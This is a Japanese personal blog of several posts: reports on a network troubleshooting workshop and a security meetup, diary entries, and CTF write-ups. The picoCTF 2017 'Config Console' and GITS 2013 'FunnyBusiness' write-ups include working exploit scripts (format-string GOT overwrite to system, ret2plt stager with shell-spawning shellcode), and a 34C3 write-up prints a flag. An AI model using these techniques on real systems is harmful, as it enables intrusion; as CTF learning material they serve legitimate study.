更新日時で差をつけろ

むしろ差をつけられている

OITTW2に参加した

argv0 leakでシステム間の差異と格闘していたらpwnの進捗溶けてしばらくブログ更新できなかった。原因気になるからしょうがないね。

CombKansaiのときに勝男さんにお誘いいただき、1/13に大阪工業大学枚方キャンパスで開かれたOITTW2というネットワークの勉強会に参加しました。

明石と枚方の距離感を勘違いして気づけば時間ギリギリになっていたのであわてて出たらいろいろ忘れてしまいました。
大きな建物があるので大学の敷地にはすぐ入れたものの、学内に入ってから部屋の位置がわからず事務室に駆け込むなどしてなんとかたどり着けました。

講義というよりは実戦形式で、障害の起きているネットワークと問題が5つ渡されそれをなんとかして解いていく感じでした。
Iceさんに教えてもらいつつCiscoルータを初めて触りました。結構難しい…というよりネットワーク自体についてまだまだ経験が足りないなと思いました。ルーターが積んであるのかっこよかった(小並感)
ネスペを持っているとはいえ普通に生活してたらVRFもVLANも使わないからなあ。せいぜいNAT?

昼食は勝男さんがカツカレーをおごってくれました。卒研…(5年後を想像する顔)
JANOG若者支援プログラムというので交通費などを支援してもらえることを知りました。メモメモ

勉強会のあとは懇親会があったのでお菓子食べながら雑談していました。

ヤフオクで中古のルータがいろいろ流れているので近いうちに1つ買ってみて勉強したいです。どれがいいんだろうか…

帰りもバス停までの道がわからなかったのですが人についていくとすんなり駅まで戻れました。楽しかった〜

大和セキュリティ勉強会に参加した #yamasec

1/7に神戸で開催された大和セキュリティ勉強会に参加しました。
年末行われた回にも参加してみたかったのですが、閉寮と被ってしまって行けませんでした。今回はギリギリ日時が違ったのでよかった。
私が申し込んだ30分後に@Akashi_SNが申し込んでいて驚きました(((

どんな人が来るんだろうかと気になっていましたが、思っていたよりCTF未経験の人が多かったです。半分ぐらい?
年齢層も社会人中心で、学生は自分を入れて4人ぐらいでした。
yamasecというTwitterハッシュタグも用意されていましたが、ほとんど自分しかツイートしてなかったです。学生はTwitterが好きな人多いけど、社会人はそうでもないのかな。

SANS Holiday Hack Challenge 2017をみんなで解くということでずっと取り組んでいました。
一風変わったCTFですが、Apache Struts脆弱性のPoC(Exploit)を使って解く問題があったりしておもしろかったです。
最近はもっぱらpwnばかりを練習していましたが、webにも強くなりたいなあ。PHP Webshellも知らなかったので勉強すれば楽しそう。
Linuxコマンドの入門としてOverTheWireのBanditをしている人もいました。OverTheWireはNarniaがwrite-up見てもうまいこと行かなくて放置しています><;
Gyazo

つい数日前から話題になっているMeltdown/Spectreについての話もありました。スライドは後日公開されるようです。
「投機実行サイドチャネル攻撃」と表現されるみたいで、投機実行が脆弱性になるってどういうことだろうと疑問に思いましたが、話を聞いて(だいたい)納得できました。
macOS, 使っていないとはいえHigh Sierraにしないと…

せっかくなので懇親会にも参加しました。いわゆる「CTF”は”未経験」な人々と話ができてよかったです。
組み込み・製造業でのセキュリティとかルワンダ(!?)のIoT事情とか。
たまたま隣に居た人が来週参加予定のネットワーク勉強会の運営をしていたので驚きました。CombKansaiの効果を感じる。
お酒の影響かわかりませんが、大人の方が学生の分を多く払ってくださったので懇親会参加費が1/3になりました(ありがとうございます)
こういう場に行くと毎回「学生のうちにいろいろやっておくと後々活きてくるよ」と言われますね。頑張ろう…

こんな感じで冬休みの楽しいイベントでした!また行きたい〜

picoCTF 2017 「Config Console」を解いた

ソースが渡される。良心。
残念なことにlibcのリークがわからなかったのでwrite-upを探すと、ret2libcしたりOne-gadget RCEを使ったりいろいろ解法があった。
https://hgarrereyn.gitbooks.io/th3g3ntl3man-ctf-writeups/2017/picoCTF_2017/problems/binary/Config_Console/Config_Console.html
https://github.com/Caesurus/PicoCTF2017/tree/master/L3_ConfigConsole
やってる最中は$を抜かしたりアドレスを同じ値で書き換えているのに気づかなかったりで注意力のなさを実感した。
めっちゃ時間かかった。慣れないなぁ

とりあえずchecksec。

gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : disabled

Format string bugset_exit_message()にある。
ただx86-64なので、rsi, rdx, rcx ... と出力したあとにようやくスタックの内容が出力されることに注意する。こんな感じ。

Config action: edit AAAA %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p
 
AAAA
0x7ffff7dd07a3(rsi)
0x7ffff7dd1880(rdx)
0x7ffff7af9054(rcx)
0x7ffff7fb1740(r8)
0x7ffff7fb1740(r9)
 
(nil)($esp)
0x7fffffffd915($esp+0x8)
0x7fffffffdd20(saved rbp)
0x400aa6(return address)
0x7ffff7ffd9d0
0x7fffffffd910
0x7fffffffd910
0x7fffffffd915
0x4141410074696465("edit", "AAA...") 0x2070252070252041 0x7025207025207025 0x2520702520702520

NX bitが有効かつPLTにはsystemがないので、ret2libcかGOT Overwriteを使うことになりそう。手順をまとめると、

  • exit@pltloopに飛ぶようにGOT Overwrite(%14$pで入力した文字列にアクセスできる)
    • こうすれば何度もFSBで攻撃できるが、set_exit_messageloopにreturnすることなく直接exitを呼んでいるのでleaveが呼ばれずスタックがどんどんずれていく
    • それゆえret2libcで書き込むリターンアドレスを計算するのはややこしそうなのでGOT Overwriteでやってみる
  • libcのリーク
    • %2$prdxレジスタに入った__IO_stdfile_1_lockのアドレスが出る(ここからwrite-up見た)
  • set_promptから呼ばれるstrlen@pltsystemに書き換え
    • 入力が引数に渡されるのでちょうど良い

全部FSB脆弱性として使える。
が、0x00000000 00400920といったアドレスを入れようとするとNULL文字として扱われてそこで文字列が終端してしまうのでアドレスは最後に書く。フォーマット部分にはアドレスをうまく%hnなどで参照できるようにpaddingを入れる必要がある。x86と違って低位のアドレスではこういうことが起こる。
%2$lxを使えば0xがつかないのでちょっとだけ楽。

__IO_stdfile_1_lockのアドレス0x7ffff7dd1880は下を参照するとmappedという領域に入っているが、気にせずlibcからのオフセットを計算すると0x3dc880となる。

gdb-peda$ vmmap
Start              End                Perm  Name
0x00400000         0x00401000         r-xp    /home/sei0o/ctf/pico2017/configconsole/console
0x00601000         0x00602000         rw-p  /home/sei0o/ctf/pico2017/configconsole/console
0x00602000         0x00623000         rw-p  [heap]
0x00007ffff79f5000 0x00007ffff7bcb000 r-xp    /lib/x86_64-linux-gnu/libc-2.26.so
0x00007ffff7bcb000 0x00007ffff7dcb000 ---p  /lib/x86_64-linux-gnu/libc-2.26.so
0x00007ffff7dcb000 0x00007ffff7dcf000 r--p  /lib/x86_64-linux-gnu/libc-2.26.so
0x00007ffff7dcf000 0x00007ffff7dd1000 rw-p  /lib/x86_64-linux-gnu/libc-2.26.so
0x00007ffff7dd1000 0x00007ffff7dd5000 rw-p  mapped
0x00007ffff7dd5000 0x00007ffff7dfc000 r-xp    /lib/x86_64-linux-gnu/ld-2.26.so
...

…はずで、実際にローカルでは動いたが問題サーバに投げるとSEGVした。libcが合っていなくてオフセットもおかしくなっていたのだろう。
write-upを見ると「問題サーバにはsshでログインして、リモートのlibcでgdb上で動かしてアドレスを見る」とのこと。
pedaが入っていなかったのでlibcのベースアドレスはcat /proc/(プロセスID)/mapsで見た。
ヴァネロペさんのアドカレの記事で紹介されていたrax2を使ってオフセットを計算すると0x3a77a0となった。便利。

$ rax2 -k 0x7f362782a7a0-0x7f362744df20
0x3a77a0

はじめ「mappedって書いてるってことはライブラリの領域ではないのかな??」と考えたが、gdb__IO_stdfile_1_lock周辺を表示してみるとfree_listlockというlibcに関係ありそうな名前がたくさん出てきたのでそういう領域なのだろう。たぶん(ググったけど出てこなかった)

いろいろ探しているうちにobjdump -p libc.so.6でlibcのバージョンが見られることを知った。Linuxの共有ライブラリは実行できるので直接$ ./libc.so.6としても情報が見られる。
さらにLD_PRELOADという環境変数を使えば実行時に動的リンクするライブラリを決められることも知った。
ん?昔参加したセキュリティ・ミニキャンプの「ウイルスを検知してみよう」的な講座でこんなことをした気が...いや関係ない気が...

Exploit

pwntoolsを初めて使った。
# 0xaaaa -&gt; 2 byte -&gt; 16 bitとかいう頭の悪そうなコメント。
pwntools使い方 まとめ

from pwn import *
 
#c = remote('localhost', 62000)
c = remote('shell2017.picoctf.com', 42132)
 
# overwrite exit of GOT
exit_got = 0x601258 # the original value is 0x400736, so we don't have to overwrite the higher part (0x0400)
 
payload  = "e "
payload += "%2491xAA%16$hn" # 2491 = 0x9bd - 2 (0x4009bd ... function loop, 2 &lt;- "AA"(padding))
payload += p64(exit_got)
payload += "\n"
 
c.recv()
c.send(payload)
 
# leak libc address
payload  = "e %2$p\n"
c.send(payload)
 
c.recvuntil("set!")
c.recvuntil("set!")
libc_stdfile_lock = int(c.recv(15)[3:], 16)
libc_base = libc_stdfile_lock - 0x3a77a0 # offset
 
log.info("Libc Base: %s" % hex(libc_base))
 
# overwrite strlen@plt
strlen_got = 0x601210
system_offset = 0x41490
system_addr = libc_base + system_offset
 
payload  = "e "
payload += "%" + str(system_addr &amp; 0xffff) + "x"
payload += "%16$hn"
payload  = payload.ljust(16, "A") # padding
payload += p64(strlen_got)
payload += "\n"
c.send(payload)
 
payload  = "e "
payload += "%" + str((system_addr &gt;&gt; 16) &amp; 0xffff) + "x" # 0xaaaa -&gt; 2 byte -&gt; 16 bit
payload += "%16$hn"
payload  = payload.ljust(16, "A")
payload += p64(strlen_got + 2)
payload += "\n"
c.recvuntil("set!")
c.send(payload)
 
payload  = "e "
payload += "%" + str((system_addr &gt;&gt; 32) &amp; 0xffff) + "x"
payload += "%16$hn"
payload  = payload.ljust(16, "A")
payload += p64(strlen_got + 4)
payload += "\n"
c.recvuntil("set!")
c.send(payload)
 
# enter shell
c.recv()
c.send("p /bin/sh\n")
 
time.sleep(0.3)
c.interactive() 

1/5

冬休みが始まってからずっとPCに食いついていたが、今日だけはなぜかとにかくぼーっとした一日だった。結構もったいない…けど仕方ないか。ひしひしと休みの終わりを感じている。
数学の教科書を見てもまるで文章を理解できないし、34C3 CTFのwrite-upを見ても「???」となってそこから進まなくなった。

picoCTFのConfig Consoleという問題を開いたが、スクリプトを書いている途中に自分でもよくわからなくなってきたので、やめたくないけど明日に回すことにした。pwn楽しいのでできるようになりたい。
radare2でReversing.krの問題を解いてみたいが、PEはどう扱えばいいんだろう…

ARuFaさんのブログを久しぶりに見た。面白い。今度コレを真似て記事でも書こうかと思う。

なんとなくTopCoderのMMに興味が出てきたので、開催予定のカレンダーを見てみたが2018年の分はまだ更新されていないようだった。

1/4

1/2から今日までMAGURO CTFのmemoというpwn問で悩んでいた。
GOT Overwriteとかshellcodeとか初心者なりにいろいろ考えて、ローカルではシェルを取ることができたが(yay!)何故かncで接続して実行してもFLAGにはたどり着けなかった。
一通り思いつく解法が全部ダメだったので諦めた。

write-upのない常設はこういうときに得るものが少ないのでやはり過去問から埋めるべきだと思った。
easyができるようになる頃には常設もわかるようになってるやろ(鼻ほじ
そういう意味で問題サーバが動いたままになっていてwrite-upも公開されているpicoCTFは良い。というわけで明日はpicoCTF Level3 Config Consoleをやってみる。format string attackの問題。

坂口恭平「現実脱出論」を読みきった。少しずつ読んでいたので忘れている内容もあるのでまた読み返したい。「現実とはリアルではなくヴァーチャルなのだ」という一言が印象的だった。
図書館で講談社の新書が並んだ棚(「女装と日本人」というのも)に何冊かだけ黒い表紙の本があった。
それが気になり「現実脱出論」を手に取り適当に開くと、「小学生の頃から一日の時間を円グラフにして、その日の朝にやることをすべて決めていた」という記述が目に飛び込んできた。自分もそういう時間の使い方の改善で悩んでいたので、読む価値があると思い借りた。時間の使いかたについてはほとんど触れられなかったが。

明日明後日で1冊ぐらい読んでおきたい。冬休みはあと3日あるが、1/7は勉強会なので。
事前準備としてKali Linuxを入れたAWSインスタンスが必要らしいので無料枠で購入しておいた。
ペネトレーションOSはほとんど使ったことがなくてわからない…

Santaに招待されたのでInstagramを始めた。部屋に篭っていて写すものがないので適当にココアの画像でも上げておいた。0秒ラテアートとでも名付けておけばよかった。
音ゲーのリザルトを上げるわけにもいかないので、旅行する時に活用しよう。

相変わらずHHKBのキーの跳ね返る感触がたまらない。本当に買ってよかった。
そういえば家に帰ってからディスプレイを使うとそこそこの頻度で画面が消えたりするので不安。電圧的なアレだろうか(電気科だけどわからない)。

Ghost in The Shellcode 2013 「FunnyBusiness」を解いた

pwn問題集のbabyより。
事前準備として$ useradd -m funnybusinessが必要。getpwnamを使うのでsudoを付けて動かす。

lddでリンクされているライブラリを見るとlibzがあった。
leaveとかどこにも書いてないし、アセンブリがどうも読みづらいがこれはFORTIFY_SOURCEによるものらしい。
https://access.redhat.com/blogs/766093/posts/1976213

仕方ないのでデバッガの助けを借りてrecvの辺りから広げていって読むことにした。
がんばって読むと、0x4000以下の数値をrecvしたあと、その長さ分だけまたrecv.bssに格納してInflateで展開してからretするプログラムのようだ。BOFも見つけた。
いろいろ試して2回目の入力の先頭の7バイト目からが指すアドレスにreturnするとわかったのだが、shellcodeをどこに入れればよいかわからなかった。アドレスもわからないし。

日本語も英語もwrite-upがほとんどなかった。以下を参考にした。
http://shimasyaro.hatenablog.com/entry/2017/02/20/130636

  • 1, 2回目のrecvret2pltを仕込み、もう1度recvが呼ばれるようにする(stager)。このときのrecvのリターン先にはASLRでも固定されている.bssのアドレスを指定する
  • 3回目のrecvでshellcodeを入れる
  • そのshellcodeにリターン、実行される

import socket, time, os, struct, telnetlib
 
def connect(ip, port):
    return socket.create_connection((ip, port))
 
def p(x):
    return struct.pack("&lt;I", x)
 
def u(x):
    return struct.unpack("&lt;I", x)[0]
 
def interact(s):
    t = telnetlib.Telnet()
    t.sock = s
    t.interact()
 
#######################################
 
import zlib
 
s = connect('localhost', 49681)
 
# dup2(4), execve
shellcode = "\x31\xc0\x31\xdb\x31\xc9\xb1\x03\xfe\xc9\xb0\x3f\xb3\x04\xcd\x80\x75\xf6" + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"
bss_addr = 0x804b080
recv_plt = 0x80487b0
 
payload  = 'A' * 6
payload += p(recv_plt) # stager(ret2plt)
payload += p(bss_addr)
payload += p(4) # arguments...(descriptor, buffer, length, flags)
payload += p(bss_addr)
payload += p(len(shellcode))
payload += p(0)
 
print(payload.encode('string_escape'))
 
compressed = zlib.compress(payload, 0)
 
s.send(p(len(compressed)))
s.send(compressed)
 
s.send(shellcode)
interact(s)

34C3 CTFに参加した

2017年最後のCTF, 34C3 CTFにHarekazeから参加しました。
結果として1問しか解けなかった、難しい〜〜
vimは惜しいところまで行ってたけど時間と賢さが足りなかった。

m0rph (rev easy)

49点。一番スコアが低い問題。
ある.tar.gzが渡されて、解凍するとx86-64なELFが出てくる。

Gyazo

せっかくなので使い始めたradare2で見てみる。画像はs mainからのVVのあと、後述するループの部分まで移動したところ。

まず.rodataの領域からヒープにコピーする。(PIEが有効なためセクションのアドレスはわからないのでbreak *0info filereadelf -Sでがんばる)
その後、コマンドライン引数として0x17サイズの文字列が渡されたときに中身の処理に移っている。(mainが初めにediをローカル変数として$ebp-0x24に保存している。これはmainの第1引数argcのこと。また、rsiも同様に第2引数argvへのポインタを保存している)

そのあと0x17回ループを行い、うまくループが終わればWhat are you waiting for, go submit that flag!と表示される。
とりあえず適当に$ ./morph 34C3_hogehogeと渡すと何も言わずexitしてしまう。call raxあたりでexitに飛んでしまうのだろう。

画像の上の四角でローカル変数に値を取り出している。
が、これだけだと何がしたいのかよくわからないので0x00202020の中身を表示してみる(表示してみればよい、というそれだけのことに気づかず無限に時間溶けた)。
これとコード(とセクションのアドレス)を照らし合わせるとなんとなくわかったような、わからんような…

gdb-peda$ x/128gx 0x555555757260
0x555555757260: 0x0000555555757330  0x0000555555757350
0x555555757270: 0x00005555557574f0  0x00005555557575f0
0x555555757280: 0x00005555557573d0  0x00005555557575b0
0x555555757290: 0x0000555555757530  0x00005555557574d0
0x5555557572a0: 0x0000555555757490  0x0000555555757410
0x5555557572b0: 0x0000555555757570  0x00005555557575d0
0x5555557572c0: 0x0000555555757510  0x00005555557573b0
0x5555557572d0: 0x0000555555757550  0x0000555555757590
0x5555557572e0: 0x0000555555757450  0x0000555555757430
0x5555557572f0: 0x0000555555757370  0x0000555555757470
0x555555757300: 0x00005555557573f0  0x00005555557574b0
0x555555757310: 0x0000555555757390  0x0000000000000000
0x555555757320: 0x0000000000000000  0x0000000000000021
0x555555757330: 0x00007ffff7ff3000  0x0000000000000000
0x555555757340: 0x0000000000000000  0x0000000000000021
0x555555757350: 0x00007ffff7ff3011  0x0000000000000111
0x555555757360: 0x0000000000000000  0x0000000000000021
0x555555757370: 0x00007ffff7ff3022  0x0000000000000222
0x555555757380: 0x0000000000000000  0x0000000000000021
0x555555757390: 0x00007ffff7ff3033  0x0000000000000333
0x5555557573a0: 0x0000000000000000  0x0000000000000021
0x5555557573b0: 0x00007ffff7ff3044  0x0000000000000444
0x5555557573c0: 0x0000000000000000  0x0000000000000021
0x5555557573d0: 0x00007ffff7ff3055  0x0000000000000555
0x5555557573e0: 0x0000000000000000  0x0000000000000021
0x5555557573f0: 0x00007ffff7ff3066  0x0000000000000666
0x555555757400: 0x0000000000000000  0x0000000000000021
0x555555757410: 0x00007ffff7ff3077  0x0000000000000777
0x555555757420: 0x0000000000000000  0x0000000000000021
〜〜〜省略〜〜〜
0x555555757630: 0x0000000000000000  0x0000000000000000
0x555555757640: 0x0000000000000000  0x0000000000000000
0x555555757650: 0x0000000000000000  0x0000000000000000

まあいいやということで下の2つの四角も読んでいく。
$ebp-0x10が指す値の9バイト先を読んだりcall raxしたりしてる。なんか中途半端だしややこしい。
とりあえずexitさせたくないので0xb950xbc6ブレークポイントを張って何が行われているか見ることにした。
Gyazo

0x33、つまり'3'と比較してjmpしているようだ。フラグは34C3_から始まるので、次は'4'と比較するのかな?

と思ったが違った。'_'だ。引数チェックをした後にsrandが呼ばれていたのでランダムに比較しているみたい。
引数のどこと比較しているかは第1引数に書いてある(この場合はA)。
Gyazo

何度か繰り返すと他の文字も出てきた。
いずれフラグのすべての文字と比較することになるので、ここからフラグが導き出せるのでは?
34C3_AAAAAAAAAAAAAAAAAAだとどこと比較しているかわかりづらいので、34C3_abcdefghijklmnopqrと変えてrunした。

FLAG: 34C3_M1GHTY_M0RPh1nG_g0

「もちろん俺らはsolveするで?」
「どうやってsolveすんねん」
「(cキーに踏み込み)拳で」※実際は指

書いたら簡単だけどすごく時間かかった。遠回りした。